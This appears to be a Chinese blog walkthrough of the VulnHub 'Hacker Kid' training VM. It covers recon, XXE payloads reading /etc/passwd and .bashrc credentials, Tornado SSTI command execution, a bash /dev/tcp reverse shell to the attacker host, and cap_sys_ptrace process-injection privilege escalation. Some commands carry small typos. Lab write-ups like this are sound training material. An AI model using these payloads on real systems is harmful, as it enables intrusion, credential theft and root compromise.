靶机下载地址: https://www.vulnhub.com/entry/hacker-kid-101,719/
教程链接地址: https://blog.csdn.net/weixin_44107836/article/details/119422810

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 HACKERKID:桥接于 192.168.31.1 的网卡,ip 未知

1 )设置免密使用 sudo

1
2
3
4
5
6
# 查看 sudoers
sudo cat /etc/sudoers | tail -n 12 | head -n 8

# 添加免密登录
parallels ALL=(ALL) NOPASSWD:ALL
# tail -n表示筛选后面几行,head -n表示筛选前面几行
Image

2 )确定靶机 ip 地址
sudo arp-sacn -l

Image

-> 靶机 ip:192.168.31.11

3 )确认靶机 ip 开放的端口信息
sudo nmap -p 192.168.31.11

Image

-> 靶机开放端口 53,80,9999

# Burp 重发数据包

打开 http://192.168.31.11 进行信息收集

Image

右键检查网页的源代码,发现提示,存在 page_no 的 GET 参数,即存在 http://192.168.31.11?page_no=xx 的一个页面,可以通过 py 来编写 1-100 的自然数,并且用 burp 进行批量访问

Image

编写 python 脚本,用于生成 1-100 个数字,每行有 1 个数字

Image

通过 tail 和 head 命令来检查所生成的文件是否正确

Image

用浏览器拦截数据发送至 burp

Image

将数据发送到 indruder 模式,在 page_no=11 的位置设置字典,字典为前面 py 生成或者可以用 burp 自带的生成 1-100 的间隔为 1 的爆破字典

Image

-> 将接收包进行长度的排序得到一个不一样的长度,对应的 url 地址是 http://192.168.31.11?page_no=21

Image

# 修改本地 hosts

得到提示,有一些子域名被创建出来了,并且其中之一是 hackers.blackhat.local

Image

修改本地 hosts 文件,将此域名的 ip 解析指向为靶机地址

Image

打开 http://hackers.blackhat.local 进行信息收集

Image

提示接下来的思路是搜集到更多的子域名信息,并且这些子域名解析后的地址指向为靶机的 ip 地址,通过 dig 来指定 DNS 服务器搜集 hackers.blackhat.local 信息

# dig 指定 DNS 解析

Linux 下解析域名除了使用 nslookup 之外,开可以使用 dig 命令来解析域名,dig 命令可以得到更多的域名信息。dig 命令主要用来从 DNS 域名服务器查询主机地址信息。dig 的全称是 (domain information groper) 域信息筛选器。它是一个用来灵活探测 DNS 的工具。

dig hackers.blackhat.local @192.168.31.11

从指定的 DNS 服务器上进行查询,(从默认的 DNS 服务器上获得的结果可能不准确)。指定 DNS 服务器的方式为使用 @ 符号,如果不指定 DNS 服务器,dig 会依次使用 /etc/resolv.conf 里的地址作为 DNS 服务器:

Image

得到了一个新的子域名,将 dig 的结果添加到本地 hosts 文件中

Image

访问 http://hackerid.blackhat.local 进行信息收集

Image

# xxe 读取敏感信息

将所有的信息都填写上,进行数据包的抓取,判断数据是怎么进入后台的,是否存在相应的漏洞可以进行利用

Image

通过 burp 抓取数据,发现数据是以 xml 的形式传播的,可以测试 xxe 漏洞

Image

通过 xxe 漏洞进行读取 /etc/passwd

1
2
3
4
5
6
7
8
9
10
11
# payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY dd SYSTEM 'file:///etc/passwd'>]>
<root>
<name></name>
<tel></tel>
<email>
&dd;
</email>
<password></password>
</root>
Image

-> 读取成功,并且找到了相关用户,如 saket,接下来尝试读取各种敏感文件。利用 php 为协议:

1
2
3
4
5
6
7
8
9
10
11
# 完整的payload是
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY dd SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
<name></name>
<tel></tel>
<email>
&dd;
</email>
<password></password>
</root>
Image

出现了一串 base64 加密的字符,利用 base -d 解密后发现是用户名和密码
cat bashrc.txt| base64 -d

Image

-> username=“admin” password=“Saket!#$%@!!”

# 用户名喷洒

这是一个 ssh 登陆或者网站的后台密码,前面端口扫描时有个 9999 端口没有收集信息,我们进到这个页面看看这个 9999 端口是什么

Image

尝试用破解出来的账户密码登陆时发现登陆失败

Image

通过前面收集到的信息的总结,知道 /home 目录下有 saket 的用户,并且密码中也有 saket 的存在,尝试将用户名换为 saket 进行登陆

Image

—> 成功拿到后台权限

# SSTI 模板注入

登陆后台成功,提示需要一个 name 的参数

Image

将 /name=1 的参数输入,在页面上出现了回显

Image

接下来目标转向如何利用这个漏洞,用 nmap 扫描这个端口处是否存在框架

Image

扫描到的结果是 torando 框架

Image

发现框架为 python 框架,既然是 py 的,就可以尝试一下 SSTI 模板注入
关于 SSTI 模板注入,在 hacktrick 上有很详细的说明:https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

SSTI 模板注入: http://192.168.31.60:9999/?name={{ 2 * 2 }}
页面回显为计算结果 4 ,表示此处确实存在 SSTI 模板注入

Image

导入包 os,执行系统命令:
http://192.168.31.60:9999/?name={%%20import%20os%20%}{{os.system(%27id%)27)}}

Image

虽然当前没有回显出 id 命令执行后的结果,但是却也没有报错

# SSTI 反弹绕过

尝试用此处的 SSTI 模板进行反弹 shell

http://192.168.31.60:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.31.135/4446 >&1"')}}

Image

反弹 shell 时报错,接下来用编码的方式绕过这种检查

采用 url 编码的方式,在线地址为 http://www.jsons.cn/urlencode

将 payload 进行编码后,拼接到原 url 后面,访问页面

http://192.168.31.11:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.31.135%2F4444%200%3E%261%22%27)%7D%7D

Image

与此同时,监听对应的端口,等到 shell 的反弹

Image

-> 得到 shell

# 弹出标准 SHELL

1
2
3
4
# 美化得到的终端
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
1
2
3
4
5
6
7
# 或者使用
SHELL=/bin/bash script -q /dev/null

# SHELL是环境变量,它的值代表系统执行shell的文件位置。
# script 命令的原本作用是录制终端的会话过程,执行该命令后会运行一个新的shell,在此shell中执行命令的过程将会记录下来并保存在一个文件里面。这里执行 script 并不需要录制命令过程,我们需要的仅仅是它会运行一个新的shell。
# -q 代表以静默方式运行一个新的shell,也就是说在后台运行一个新的shell。如果不加这个参数,则会弹出一个新的shell命令框。
# /dev/null在这条命令中扮演的角色是保存script记录的文件,但是/dev/null一个特殊的设备文件,一切写入改文件的数据都会消失。我们不需要记录我们所执行的命令,所以将script所记录的内容指向该设备文件。
Image

# linpeas 提权信息扫描

尝试用 linux 提权工具提权,提前在 kali 上准备好 linpeas.sh 并通过 py 开启简易 web

Image

在靶机上下载 linpeas.sh 并加可执行权限

Image

执行并开始扫描./linpeas.sh

Image

发现了 python2.7 的权限设置错误

Image

# cap_sys_ptrace 提权

关于 cap_sys_ptrace 提权的教程:
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

Capabilities 机制是在 Linux 内核 2.2 之后引入的,原理很简单,就是将之前与超级用户 root(UID=0)关联的特权细分为不同的功能组,Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是 root,就去检查其是否具有该特权操作所对应的 capabilities,并以此为依据,决定是否可以执行特权操作。如果 Capabilities 设置不正确,就会让攻击者有机可乘,实现权限提升。

Image

保存 payload,并按 hacktrick 上的教程进行复现

利用参考中的 exp.py 文件,传入参数为选择的进程 id, 执行成功后会在靶机的 5600 端口开一个绑定 shell

Image
1
2
3
4
5
6
7
8
# Capabilities的主要思想在于分割root用户的特权,即将root的特权分割成不一样的能力,每种能力表明必定的特权操做。
# setcap来设置权限,getcap来验证权限是否设置正确。
# CAP_SYS_PTRACE允许使用ptrace( 2 )和最近引入的跨内存附加系统调用,如果授予此功能并且ptrace( 2 )系统调用本身没有被 seccomp 过滤器阻止,这将允许攻击者绕过其他 seccomp 限制。
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep

# 通过for循环,来依次注入每一个root进程号
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done
Image
1
2
3
# 注入成功后即可获取到root权限的shell
netstat -an | grep 5600
nc 192.168.31. 11 5600
Image

-> 成功拿到 root 权限

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝